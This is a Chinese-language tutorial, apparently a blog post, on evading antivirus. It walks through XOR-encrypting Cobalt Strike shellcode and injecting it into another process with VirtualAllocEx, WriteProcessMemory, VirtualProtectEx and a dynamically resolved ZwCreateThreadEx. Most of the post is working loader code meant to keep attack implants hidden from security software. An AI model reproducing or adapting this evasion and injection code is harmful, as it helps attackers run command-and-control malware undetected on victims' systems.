免殺思路

通過cs生成shellcode,不過現在各大廠商對於出名的shellcode:如cs,msf這些基本上達到了見光就死的程度,我這里簡單的加密一下,然后通過API加載到一個進程中,並且執行,我首先希望的是有一個靜態免殺效果。

環境准備

vs2019 win10 整個過程在無任何殺軟環境中進行

加密函數

這里是我隨便找了個數將shellcode進行異或

int main()
{
    /* length: 798 bytes */
    int dwSize = sizeof(buf);
    char* newBuf = (char*)malloc(dwSize);
    memset(newBuf, 0, dwSize);
    Sleep(10000);
    for (int i = 0; i < dwSize; i++)
    {
        newBuf[i] = buf[i] ^ 0x12;
        printf("\\x%1x", (unsigned char)newBuf[i]);
    }
    
}

加載器

加載前先解密

int shellcode_size = sizeof(buf);
for (int i = 0; i < shellcode_size; i++)
    {
        newBuf[i] = buf[i] ^ 0x12;
    }

獲取進程句柄

HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 17864);

在目標進程空間申請空間

這里用的是VirtualAllocEx,因為這個API很敏感，我們先控制屬性位可讀可寫,后面再更改屬性位可執行

LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf)+1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

寫入shellcode到進程空間

DWORD dwSize = 0;    
WriteProcessMemory(hHandle,Memory, newBuf, shellcode_size, &dwSize);

更改屬性

使用VirtualProtectEx更改屬性位可執行

VirtualProtectEx(hHandle,Memory, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

動態加載創建線程函數

ZwCreateThreadEx這個函數我已經在之前一篇博客介紹過https://www.cnblogs.com/punished/p/14668260.html,更換一些常見的API總是要好一下

 1 HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
 2     if (hNtdll == NULL)
 3     {
 4         printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
 5         return FALSE;
 6     }
 7     else
 8     {
 9         printf("[*] Load ntdll.dll Successfully!\n");
10     }
11 #ifdef _WIN64
12     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
13         PHANDLE ThreadHandle,
14         ACCESS_MASK DesiredAccess,
15         LPVOID ObjectAttributes,
16         HANDLE ProcessHandle,
17         LPTHREAD_START_ROUTINE lpStartAddress,
18         LPVOID lpParameter,
19         ULONG CreateThreadFlags,
20         SIZE_T ZeroBits,
21         SIZE_T StackSize,
22         SIZE_T MaximumStackSize,
23         LPVOID pUnkown
24         );
25 #else
26     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
27         PHANDLE ThreadHandle,
28         ACCESS_MASK DesiredAccess,
29         LPVOID ObjectAttributes,
30         HANDLE ProcessHandle,
31         LPTHREAD_START_ROUTINE lpStartAddress,
32         LPVOID lpParameter,
33         BOOL CreateSuspended,
34         DWORD dwStackSize,
35         DWORD dw1,
36         DWORD dw2,
37         LPVOID pUnkown
38         );
39 #endif 
40     typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
41     ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

創建線程

創建線程等待執行

HANDLE hRemoteThread;
DWORD ZwRet = 0;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
    (LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hRemoteThread, INFINITE);